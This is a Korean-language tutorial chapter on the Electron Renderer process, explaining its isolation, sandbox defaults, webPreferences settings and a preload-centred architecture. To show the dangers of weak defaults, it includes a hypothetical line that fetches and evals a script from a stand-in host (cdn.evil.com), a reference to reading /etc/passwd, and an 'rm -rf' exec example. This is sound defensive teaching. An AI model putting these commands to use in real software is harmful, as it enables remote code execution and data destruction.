03 — Renderer 프로세스
한 줄 답: Renderer는 Chromium 탭 한 개와 같은 프로세스다 — V8 isolate로 격리되고, sandbox가 v20부터 디폴트로 켜져 있으며,
nodeIntegration이 v5부터 디폴트 false다. 웹페이지처럼 생겼지만 같지 않다 — 같은 origin 안의 다른 창에도, OS의 fs에도 직접 닿지 못한다.
Why — Renderer를 격리해야 하는 이유
질문을 뒤집어보자. Renderer를 격리하지 않으면 어떻게 되는가?
// 가상의 시나리오 — Renderer가 Node 전권을 갖는다면
fetch('https://cdn.evil.com/widget.js').then(r => r.text()).then(eval)
// → 이 한 줄로 require('fs').readFileSync('/etc/passwd')도 실행 가능Electron v0.x ~ v4 시절의 디폴트가 그랬다. nodeIntegration: true였고, <script src="https://...">가 호스트의 Node API에 닿을 수 있었다. XSS 한 번이 OS 명령 실행이었다.
이게 2016년 Discord 이슈, 2018년 Skype RCE, 2019년 VSCode 이슈 등 잇따른 사고의 원인이었다. 그래서 Electron 팀은 디폴트를 조이는 방향으로 계속 움직였다.
| 버전 | 변화 | 의미 |
|---|---|---|
| v5 (2019) | nodeIntegration 디폴트 false | Renderer에서 require('fs') 못 함 |
| v12 (2021) | contextIsolation 디폴트 true | preload와 메인 월드 분리 |
| v20 (2022) | sandbox 디폴트 true | Chromium OS-level sandbox 활성 |
| v22 (2023) | UtilityProcess 정식 | 무거운 Node 작업 분리 |
| v28 (2023) | ESM preload 지원 | import 가능 |
Renderer가 제한된다는 건 불편이 아니라 안전선이다. 이 안전선을 뚫는 유일한 합법적 통로가 preload다.
How — Renderer는 무엇을 할 수 있고 무엇을 못 하는가
할 수 있는 것
- DOM 조작:
document,window,HTMLElement전부 - Web API:
fetch,WebSocket,Worker,IndexedDB,Notification,localStorage - Canvas/WebGL/WebGPU
- React, Vue, Svelte 등 모든 SPA 프레임워크 — 그대로 동작
- DevTools (
Cmd+Option+I/Ctrl+Shift+I) - preload가 노출한 좁은 API (
window.electronAPI.openFile()같은)
못 하는 것 (sandbox + contextIsolation 디폴트 기준)
require('fs'),require('child_process'),require('os')— 아예require가 없음process.env,process.platform직접 접근 (preload에서 노출해주지 않으면)- 다른
BrowserWindow의 함수 직접 호출 - 시스템 파일 시스템 접근 (
File System Access API는 제한적으로 동작) - 네이티브 모듈 import
한 줄 요약: “브라우저에서 할 수 있는 만큼만, 그 이상은 모두 preload 경유”.
V8 isolate — 무엇이 격리되는가
Renderer는 V8 isolate 하나를 가진다. isolate는 V8의 격리 단위로 — 같은 isolate 안의 객체는 서로 보지만, 다른 isolate의 객체는 볼 수도 없다.
흥미로운 디테일: contextIsolation: true일 때 한 Renderer 프로세스 안에 V8 isolate가 두 개 들어간다.
- 메인 월드 —
index.html이 로드한 JS가 사는 곳. React가 여기 산다. - isolated world — preload 스크립트가 사는 곳. 같은 DOM을 보지만 V8 객체 그래프는 분리.
같은 document를 공유하지만 함수·프로토타입·전역 변수는 따로다. 이게 04 preload의 핵심 메커니즘.
What — Renderer 코드의 구조
{/* index.html */}
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
{/* CSP — Electron이 권장하는 보안 헤더 */}
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'" />
<title>My App</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="./renderer.js"></script>
</body>
</html>// renderer.js — *순수 웹 코드*다
console.log(process.type) // 'renderer'
console.log(typeof window.require) // 'undefined' (sandbox ON)
console.log(typeof window.electronAPI) // 'object' — preload가 노출한 것
// 정상 동작
document.getElementById('root').innerText = 'Hello'
const data = await fetch('/api/users').then(r => r.json())
// 정상 동작 X — 차단됨
// require('fs') // ReferenceError: require is not defined
// process.exit() // 일부만 가능. process.type만 있고 .exit은 없을 수 있음
// preload 경유로 OS 닿기
const file = await window.electronAPI.openFile()
console.log(file.contents)Renderer 코드는 React/Vue 앱과 99% 동일하다. 다른 1%는
window.electronAPI같은 preload 노출 객체뿐. 그래서 기존 SPA를 Electron으로 옮기는 것이 상대적으로 쉽다.
process.type 확인
// renderer.js
if (process && process.type === 'renderer') {
console.log('Renderer 안에서 돌고 있습니다')
}
// 브라우저 단독 실행이면 process가 undefined이거나 type이 없음이 패턴은 같은 코드가 Electron과 일반 브라우저에서 모두 돌아야 할 때 쓴다 (예: Storybook).
webPreferences — Renderer의 안전 다이얼
BrowserWindow 생성 시 옵션이 Renderer의 권한을 결정한다.
new BrowserWindow({
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
// 안전 디폴트 — v20+에서는 명시 안 해도 됨, 하지만 명시가 좋다
contextIsolation: true, // preload와 메인 월드 분리
sandbox: true, // OS-level sandbox
nodeIntegration: false, // Renderer에서 Node 못 씀
nodeIntegrationInWorker: false,
nodeIntegrationInSubFrames: false,
webSecurity: true, // CORS·동일 출처 정책 활성
// 위험 — 절대 켜지 말 것 (특별한 이유가 없는 한)
// contextIsolation: false,
// nodeIntegration: true,
// webSecurity: false,
},
})sandbox: true가 켜지면 — Renderer는 Chromium OS-level sandbox에 갇힌다. 이는 OS가 강제하는 격리로, V8 격리보다 한 층 더 깊다. seccomp(Linux), App Sandbox(macOS), AppContainer(Windows)를 사용한다.
sandbox는 Chromium이 직접 보장하는 격리다. JS 차원의 차단이 아니라 프로세스 자체가 OS 시스템 콜 제한을 받는다. 이게 Renderer crash가 시스템에 해를 못 끼치는 이유.
Renderer는 여러 개 있을 수 있다
BrowserWindow를 N개 만들면 Renderer 프로세스가 N개 뜬다 — 디폴트로. (예외: affinity 옵션, BrowserView, WebView 등.)
const win1 = new BrowserWindow({ ... }) // Renderer #1
const win2 = new BrowserWindow({ ... }) // Renderer #2
const win3 = new BrowserWindow({ ... }) // Renderer #3각 Renderer는 별도 V8 isolate다. 서로 직접 통신 못 한다.
// renderer1.js 안에서
// win2에 있는 함수를 직접 호출? 불가능.
// → Main을 거쳐야 한다:
window.electronAPI.sendMessageToWindow(2, 'hello')
// preload → ipcRenderer.invoke('msg-to-window', { id: 2, payload: 'hello' })
// → Main이 win2.webContents.send('msg', 'hello')로 전달이게 멀티 윈도우 앱의 가장 흔한 함정이다. SPA의 single source of truth 개념이 프로세스 경계에서 끊긴다. 상태 동기화를 Main을 허브로 두고 푸시-기반으로 짜야 한다.
What-if — Renderer를 과보호하면, 또는 과개방하면
| 상황 | 결과 |
|---|---|
nodeIntegration: true (과개방) | XSS 한 번 = require('child_process').exec('rm -rf') 실행 가능 |
contextIsolation: false (과개방) | preload가 메인 월드와 같은 isolate → 메인 월드가 window._private를 덮어쓰면 preload도 영향 |
sandbox: true + 무거운 작업 (과보호) | Renderer에서 crypto.subtle.digest도 OS 시스템 콜 일부가 막혀 느려질 수 있음 → UtilityProcess로 분리 |
webSecurity: false (과개방) | CORS 무시 → 외부 도메인이 내 앱 안에서 데이터 접근 |
황금 디폴트: contextIsolation: true + sandbox: true + nodeIntegration: false + webSecurity: true + 좁은 preload + CSP. 이게 05 보안에서 깊이 다룰 5중 안전선.
Insight — Renderer를 순수 웹앱으로 다루는 게 정답
가장 깨끗한 Electron 아키텍처는 — Renderer를 Electron이라는 사실을 모르는 순수 웹앱처럼 짜는 것이다.
renderer/ ← Electron을 모르는 React 코드
├─ components/
├─ pages/
├─ api.ts ← preload가 노출한 window.electronAPI를
│ 일반 fetch처럼 감싸는 래퍼
└─ ...
preload.js ← Renderer ↔ Main 다리만
main.js ← Node 로직이렇게 분리하면:
- Renderer를 브라우저에서 단독 실행하면서 개발할 수 있다 (Vite dev server 등).
- Storybook·테스트를 Electron 없이 돌릴 수 있다.
- PWA 버전으로 같은 코드를 재사용할 수 있다.
- 보안 표면이 *명확히 한 곳(preload)*에 모인다.
즉, Renderer는 “Electron 안의 React”가 아니라 “그냥 React”여야 한다. Electron 종속성이 새어나오는 순간 — 테스트도, PWA 이식도, 보안 감사도 모두 어려워진다.
요약
Renderer는 Chromium 탭 한 개와 같은 프로세스다. V8 isolate로 격리되고 sandbox가 디폴트로 켜져 OS 시스템 콜이 제한된다. Node도, 다른 창의 함수도, OS fs도 직접 닿지 못한다. 닿으려면 반드시 preload를 경유한다 — preload가
contextBridge로 노출한 좁은 함수만이 합법적 통로다. Renderer 코드는 Electron을 모르는 순수 웹앱처럼 작성하는 것이 가장 깨끗한 패턴 — 테스트도, 보안도, 재사용성도 그 방향에서 가장 잘 풀린다.